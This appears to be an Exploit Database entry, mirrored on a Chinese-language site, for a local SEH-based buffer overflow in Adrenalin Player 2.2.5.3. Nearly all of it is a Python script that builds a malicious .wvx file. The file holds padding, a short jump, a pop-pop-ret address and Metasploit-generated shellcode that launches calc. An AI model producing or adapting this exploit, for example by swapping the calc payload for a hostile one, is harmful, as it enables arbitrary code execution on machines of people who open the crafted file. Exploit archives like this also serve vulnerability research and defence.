Adrenalin Player 2.2.5.3 – ‘.wvx’ Local Buffer Overflow (SEH)

• Exploit Database
• 15 阅读

• 作者： MrXors
  日期： 2013-07-01
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/26525/

• #Exploit Title:Adrenalin Player 2.2.5.3 (.wvx) SEH-Buffer Overflow 
  #Date:7/1/2013
  #Exploit Author:MrXors
  #Vendor HomePage:http://software.naver.com/software/summary.nhn?softwareId=MFS_100099
  #Software Link:http://software.naver.com/software/summary.nhn?softwareId=MFS_100099
  #Version App:2.2.5.3
  #Tested on: Windows 7 pro x86 Fully-Patched
  #CVE:None
  junk="\x41"*2140
  junk+="\xeb\x06\x90\x90"#short jmp
  junk+="\x39\xb1\x14\x10"#pop pop ret ***App Dll***
  junk+='\x90'*16#NOPS
  #Calc shellcode from msf (-b '\x00\x0a\x0d\x0b')
  junk+=("\xd9\xc8\xb8\xa0\x47\xcf\x09\xd9\x74\x24\xf4\x5f\x2b\xc9" +
  "\xb1\x32\x31\x47\x17\x83\xc7\x04\x03\xe7\x54\x2d\xfc\x1b" +
  "\xb2\x38\xff\xe3\x43\x5b\x89\x06\x72\x49\xed\x43\x27\x5d" +
  "\x65\x01\xc4\x16\x2b\xb1\x5f\x5a\xe4\xb6\xe8\xd1\xd2\xf9" +
  "\xe9\xd7\xda\x55\x29\x79\xa7\xa7\x7e\x59\x96\x68\x73\x98" +
  "\xdf\x94\x7c\xc8\x88\xd3\x2f\xfd\xbd\xa1\xf3\xfc\x11\xae" +
  "\x4c\x87\x14\x70\x38\x3d\x16\xa0\x91\x4a\x50\x58\x99\x15" +
  "\x41\x59\x4e\x46\xbd\x10\xfb\xbd\x35\xa3\x2d\x8c\xb6\x92" +
  "\x11\x43\x89\x1b\x9c\x9d\xcd\x9b\x7f\xe8\x25\xd8\x02\xeb" +
  "\xfd\xa3\xd8\x7e\xe0\x03\xaa\xd9\xc0\xb2\x7f\xbf\x83\xb8" +
  "\x34\xcb\xcc\xdc\xcb\x18\x67\xd8\x40\x9f\xa8\x69\x12\x84" +
  "\x6c\x32\xc0\xa5\x35\x9e\xa7\xda\x26\x46\x17\x7f\x2c\x64" +
  "\x4c\xf9\x6f\xe2\x93\x8b\x15\x4b\x93\x93\x15\xfb\xfc\xa2" +
  "\x9e\x94\x7b\x3b\x75\xd1\x7a\xca\x44\xcf\xeb\x75\x3d\xb2" +
  "\x71\x86\xeb\xf0\x8f\x05\x1e\x88\x6b\x15\x6b\x8d\x30\x91" +
  "\x87\xff\x29\x74\xa8\xac\x4a\x5d\xcb\x33\xd9\x3d\x0c")
  x=open('Exploit.wvx', 'w')
  x.write(junk)
  x.close()